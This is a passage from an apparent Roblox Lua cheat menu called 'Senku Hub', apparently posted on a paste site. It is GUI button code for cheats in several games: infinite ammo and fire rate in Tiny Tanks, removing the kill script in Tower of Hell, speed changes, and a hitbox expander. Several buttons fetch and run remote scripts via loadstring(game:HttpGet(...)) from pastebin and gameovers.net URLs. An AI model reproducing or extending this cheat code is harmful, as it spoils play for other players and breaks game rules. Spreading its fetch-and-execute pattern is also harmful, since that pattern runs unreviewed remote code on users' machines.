  7101. RagdollEngineGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
  7102. RagdollEngineGUI.TextSize = 11.000
  7103. RagdollEngineGUI.MouseButton1Down:connect(function()
  7104. loadstring(game:HttpGet(('https://pastebin.com/raw/T7weKqag'),true))()
  7105. end)
  7106.  
  7107. SkyBlockGUI.Name = "SkyBlockGUI"
  7108. SkyBlockGUI.Parent = main
  7109. SkyBlockGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  7110. SkyBlockGUI.Position = UDim2.new(0.0209440291, 0, 0.162340611, 0)
  7111. SkyBlockGUI.Size = UDim2.new(0, 60, 0, 25)
  7112. SkyBlockGUI.Font = Enum.Font.SourceSans
  7113. SkyBlockGUI.Text = "SkyBlockGUI"
  7114. SkyBlockGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
  7115. SkyBlockGUI.TextSize = 13.000
  7116. SkyBlockGUI.MouseButton1Down:connect(function()
  7117. loadstring(game:HttpGet('https://pastebin.com/raw/kf2BcLyf'))()
  7118. end)
  7119.  
  7120. TinyTanksGUI.Name = "TinyTanksGUI"
  7121. TinyTanksGUI.Parent = main
  7122. TinyTanksGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  7123. TinyTanksGUI.Position = UDim2.new(0.759074271, 0, 0.159622848, 0)
  7124. TinyTanksGUI.Size = UDim2.new(0, 78, 0, 25)
  7125. TinyTanksGUI.Font = Enum.Font.SourceSans
  7126. TinyTanksGUI.Text = "TinyTanksGUI"
  7127. TinyTanksGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
  7128. TinyTanksGUI.TextSize = 13.000
  7129. TinyTanksGUI.MouseButton1Down:connect(function()
  7130. local TinyTanksCheatGuiByLeviTheOtaku = Instance.new("ScreenGui")
  7131. local MainFrame = Instance.new("Frame")
  7132. local FastTankButton = Instance.new("TextButton")
  7133. local InfFireRateButton = Instance.new("TextButton")
  7134. local NoReloadButton = Instance.new("TextButton")
  7135. local InfSpecialAmmoButton = Instance.new("TextButton")
  7136. local NoAbilityCooldown = Instance.new("TextButton")
  7137.  
  7138. TinyTanksCheatGuiByLeviTheOtaku.Name = "TinyTanksCheatGuiByLeviTheOtaku"
  7139. TinyTanksCheatGuiByLeviTheOtaku.Parent = game.CoreGui
  7140.  
  7141. MainFrame.Name = "MainFrame"
  7142. MainFrame.Parent = TinyTanksCheatGuiByLeviTheOtaku
  7143. MainFrame.BackgroundColor3 = Color3.new(0, 0, 0)
  7144. MainFrame.BorderColor3 = Color3.new(1, 1, 1)
  7145. MainFrame.BorderSizePixel = 3
  7146. MainFrame.Position = UDim2.new(0.699999988, 0, 0.949999988, 0)
  7147. MainFrame.Size = UDim2.new(0.200000003, 0, 0.0500000007, 0)
  7148.  
  7149. FastTankButton.Name = "FastTankButton"
  7150. FastTankButton.Parent = MainFrame
  7151. FastTankButton.BackgroundColor3 = Color3.new(1, 1, 1)
  7152. FastTankButton.BackgroundTransparency = 0.5
  7153. FastTankButton.BorderSizePixel = 0
  7154. FastTankButton.Position = UDim2.new(0, 0, 0.100000001, 0)
  7155. FastTankButton.Size = UDim2.new(0.200000003, 0, 0.800000012, 0)
  7156. FastTankButton.Font = Enum.Font.Highway
  7157. FastTankButton.FontSize = Enum.FontSize.Size14
  7158. FastTankButton.Text = "Fast Tank"
  7159. FastTankButton.TextColor3 = Color3.new(1, 1, 1)
  7160. FastTankButton.TextSize = 14
  7161. FastTankButton.TextWrapped = true
  7162.  
  7163. InfFireRateButton.Name = "InfFireRateButton"
  7164. InfFireRateButton.Parent = MainFrame
  7165. InfFireRateButton.BackgroundColor3 = Color3.new(1, 1, 1)
  7166. InfFireRateButton.BackgroundTransparency = 0.5
  7167. InfFireRateButton.BorderSizePixel = 0
  7168. InfFireRateButton.Position = UDim2.new(0.200000003, 0, 0.100000001, 0)
  7169. InfFireRateButton.Size = UDim2.new(0.200000003, 0, 0.800000012, 0)
  7170. InfFireRateButton.Font = Enum.Font.Highway
  7171. InfFireRateButton.FontSize = Enum.FontSize.Size14
  7172. InfFireRateButton.Text = "Inf Fire Rate"
  7173. InfFireRateButton.TextColor3 = Color3.new(1, 1, 1)
  7174. InfFireRateButton.TextSize = 14
  7175. InfFireRateButton.TextWrapped = true
  7176.  
  7177. NoReloadButton.Name = "NoReloadButton"
  7178. NoReloadButton.Parent = MainFrame
  7179. NoReloadButton.BackgroundColor3 = Color3.new(1, 1, 1)
  7180. NoReloadButton.BackgroundTransparency = 0.5
  7181. NoReloadButton.BorderSizePixel = 0
  7182. NoReloadButton.Position = UDim2.new(0.400000006, 0, 0.100000001, 0)
  7183. NoReloadButton.Size = UDim2.new(0.200000003, 0, 0.800000012, 0)
  7184. NoReloadButton.Font = Enum.Font.Highway
  7185. NoReloadButton.FontSize = Enum.FontSize.Size14
  7186. NoReloadButton.Text = "No Reload"
  7187. NoReloadButton.TextColor3 = Color3.new(1, 1, 1)
  7188. NoReloadButton.TextSize = 14
  7189. NoReloadButton.TextWrapped = true
  7190.  
  7191. InfSpecialAmmoButton.Name = "InfSpecialAmmoButton"
  7192. InfSpecialAmmoButton.Parent = MainFrame
  7193. InfSpecialAmmoButton.BackgroundColor3 = Color3.new(1, 1, 1)
  7194. InfSpecialAmmoButton.BackgroundTransparency = 0.5
  7195. InfSpecialAmmoButton.BorderSizePixel = 0
  7196. InfSpecialAmmoButton.Position = UDim2.new(0.600000024, 0, 0.100000001, 0)
  7197. InfSpecialAmmoButton.Size = UDim2.new(0.200000003, 0, 0.800000012, 0)
  7198. InfSpecialAmmoButton.Font = Enum.Font.Highway
  7199. InfSpecialAmmoButton.FontSize = Enum.FontSize.Size14
  7200. InfSpecialAmmoButton.Text = "Inf Special Ammo"
  7201. InfSpecialAmmoButton.TextColor3 = Color3.new(1, 1, 1)
  7202. InfSpecialAmmoButton.TextSize = 14
  7203. InfSpecialAmmoButton.TextWrapped = true
  7204.  
  7205. NoAbilityCooldown.Name = "NoAbilityCooldown"
  7206. NoAbilityCooldown.Parent = MainFrame
  7207. NoAbilityCooldown.BackgroundColor3 = Color3.new(1, 1, 1)
  7208. NoAbilityCooldown.BackgroundTransparency = 0.5
  7209. NoAbilityCooldown.BorderSizePixel = 0
  7210. NoAbilityCooldown.Position = UDim2.new(0.800000012, 0, 0.100000001, 0)
  7211. NoAbilityCooldown.Size = UDim2.new(0.200000003, 0, 0.800000012, 0)
  7212. NoAbilityCooldown.Font = Enum.Font.Highway
  7213. NoAbilityCooldown.FontSize = Enum.FontSize.Size14
  7214. NoAbilityCooldown.Text = "No Ability Cooldown"
  7215. NoAbilityCooldown.TextColor3 = Color3.new(1, 1, 1)
  7216. NoAbilityCooldown.TextSize = 14
  7217. NoAbilityCooldown.TextWrapped = true
  7218.  
  7219. FastTankButton.MouseButton1Down:connect(function()
  7220. mytank = workspace.Tanks["Tank-" .. game.Players.LocalPlayer.Name .. ""]
  7221. mytank.Settings.MoveSpeed.Value = 50
  7222. mytank.Settings.RotationSpeed.Value = math.huge
  7223. end)
  7224.  
  7225. InfFireRateButton.MouseButton1Down:connect(function()
  7226. mytank = workspace.Tanks["Tank-" .. game.Players.LocalPlayer.Name .. ""]
  7227. mytank.Settings.MaxFireRate.Value = 0.1
  7228. end)
  7229.  
  7230. NoReloadButton.MouseButton1Down:connect(function()
  7231. mytank = workspace.Tanks["Tank-" .. game.Players.LocalPlayer.Name .. ""]
  7232. mytank.Settings.LoadedShots.Value = 2000000000
  7233. end)
  7234.  
  7235. InfSpecialAmmoButton.MouseButton1Down:connect(function()
  7236. mytank = workspace.Tanks["Tank-" .. game.Players.LocalPlayer.Name .. ""]
  7237. local ammos = mytank.AvailableAmmo:GetChildren()
  7238. for i =1, #ammos do
  7239. wait(0.1)
  7240. ammos[i].Value = 2000000000
  7241. end
  7242. end)
  7243.  
  7244. NoAbilityCooldown.MouseButton1Down:connect(function()
  7245. mytank = workspace.Tanks["Tank-" .. game.Players.LocalPlayer.Name .. ""]
  7246. mytank.Settings.AbilityCooldown.Value = 0.1
  7247. end)
  7248. end)
  7249.  
  7250. TowerOfHellGodmode.Name = "TowerOfHellGodmode"
  7251. TowerOfHellGodmode.Parent = main
  7252. TowerOfHellGodmode.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  7253. TowerOfHellGodmode.Position = UDim2.new(0.694011748, 0, 0.828318715, 0)
  7254. TowerOfHellGodmode.Size = UDim2.new(0, 103, 0, 13)
  7255. TowerOfHellGodmode.Font = Enum.Font.SourceSans
  7256. TowerOfHellGodmode.Text = "TowerOfHellGodmode"
  7257. TowerOfHellGodmode.TextColor3 = Color3.fromRGB(0, 0, 0)
  7258. TowerOfHellGodmode.TextSize = 12.000
  7259. TowerOfHellGodmode.MouseButton1Down:connect(function()
  7260. while wait do -- thanks for taking my script I hope you enjoy!
  7261. game.Players.LocalPlayer.Character.KillScript:Destroy()
  7262. end
  7263.  
  7264. end)
  7265.  
  7266. UniversalHitboxExpander.Name = "UniversalHitboxExpander"
  7267. UniversalHitboxExpander.Parent = main
  7268. UniversalHitboxExpander.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  7269. UniversalHitboxExpander.Position = UDim2.new(0.683344483, 0, 0.338393748, 0)
  7270. UniversalHitboxExpander.Size = UDim2.new(0, 107, 0, 25)
  7271. UniversalHitboxExpander.Font = Enum.Font.SourceSans
  7272. UniversalHitboxExpander.Text = "UniversalHitboxExpander"
  7273. UniversalHitboxExpander.TextColor3 = Color3.fromRGB(0, 0, 0)
  7274. UniversalHitboxExpander.TextSize = 11.000
  7275. UniversalHitboxExpander.MouseButton1Down:connect(function()
  7276. loadstring(game:HttpGet("http://gameovers.net/Scripts/Free/HitboxExpander/main.lua", true))()
  7277. end)
  7278.  
  7279. UniversalToggleSpeed.Name = "UniversalToggleSpeed"
  7280. UniversalToggleSpeed.Parent = main
  7281. UniversalToggleSpeed.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  7282. UniversalToggleSpeed.Position = UDim2.new(0.694011748, 0, 0.70763737, 0)
  7283. UniversalToggleSpeed.Size = UDim2.new(0, 103, 0, 13)
  7284. UniversalToggleSpeed.Font = Enum.Font.SourceSans
  7285. UniversalToggleSpeed.Text = "UniversalToggleSpeed"
  7286. UniversalToggleSpeed.TextColor3 = Color3.fromRGB(0, 0, 0)
  7287. UniversalToggleSpeed.TextSize = 12.000
  7288. UniversalToggleSpeed.MouseButton1Down:connect(function()
  7289. local UIS = game:GetService("UserInputService")
  7290.  
  7291. UIS.InputBegan:Connect(function(input)
  7292. if input.keyCode == Enum.KeyCode.E
  7293. then
  7294. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = game.Players.LocalPlayer.Character.Humanoid.WalkSpeed + 5
  7295. elseif input.keyCode == Enum.KeyCode.Q
  7296. then
  7297. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = game.Players.LocalPlayer.Character.Humanoid.WalkSpeed - 5
  7298. end
  7299. end)
  7300.  
  7301. end)
  7302.  
  7303. MainLabel.Name = "MainLabel"
  7304. MainLabel.Parent = main
  7305. MainLabel.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  7306. MainLabel.Position = UDim2.new(0.00159840984, 0, 0, 0)
  7307. MainLabel.Size = UDim2.new(0, 369, 0, 20)
  7308. MainLabel.Font = Enum.Font.Highway
  7309. MainLabel.Text = " Senku Hub - Made By beans#3147 (Scripts Not Made By Me)."
  7310. MainLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
  7311. MainLabel.TextSize = 13.000
  7312. MainLabel.TextXAlignment = Enum.TextXAlignment.Left
  7313.  
  7314. close.Name = "close"
  7315. close.Parent = main
  7316. close.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  7317. close.Position = UDim2.new(0.883468807, 0, 0.0167597774, 0)
  7318. close.Size = UDim2.new(0, 32, 0, 14)
  7319. close.Font = Enum.Font.SourceSans
  7320. close.Text = "Close"
  7321. close.TextColor3 = Color3.fromRGB(255, 255, 255)
  7322. close.TextSize = 14.000
  7323. close.MouseButton1Down:connect(function()
  7324. main.Visible = false
  7325. OpenGUI.Visible = true
  7326. end)
  7327.  
  7328. OpenGUI.Name = "Open GUI"
  7329. OpenGUI.Parent = ScreenGui
  7330. OpenGUI.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  7331. OpenGUI.Position = UDim2.new(0, 0, 0.442260444, 0)
  7332. OpenGUI.Size = UDim2.new(0, 72, 0, 23)
  7333. OpenGUI.Active = true
  7334. OpenGUI.Draggable = true
  7335.  
  7336. Open.Name = "Open"
  7337. Open.Parent = OpenGUI
  7338. Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  7339. Open.Position = UDim2.new(0, 0, -0.0323149264, 0)
  7340. Open.Size = UDim2.new(0, 72, 0, 23)
  7341. Open.Font = Enum.Font.GothamBlack
  7342. Open.Text = "Open GUI"
  7343. Open.TextColor3 = Color3.fromRGB(255, 255, 255)
  7344. Open.TextSize = 14.000
  7345. Open.MouseButton1Down:connect(function()
  7346. OpenGUI.Visible = false
  7347. main.Visible = true
  7348. end)
Add Comment
Please, Sign In to add comment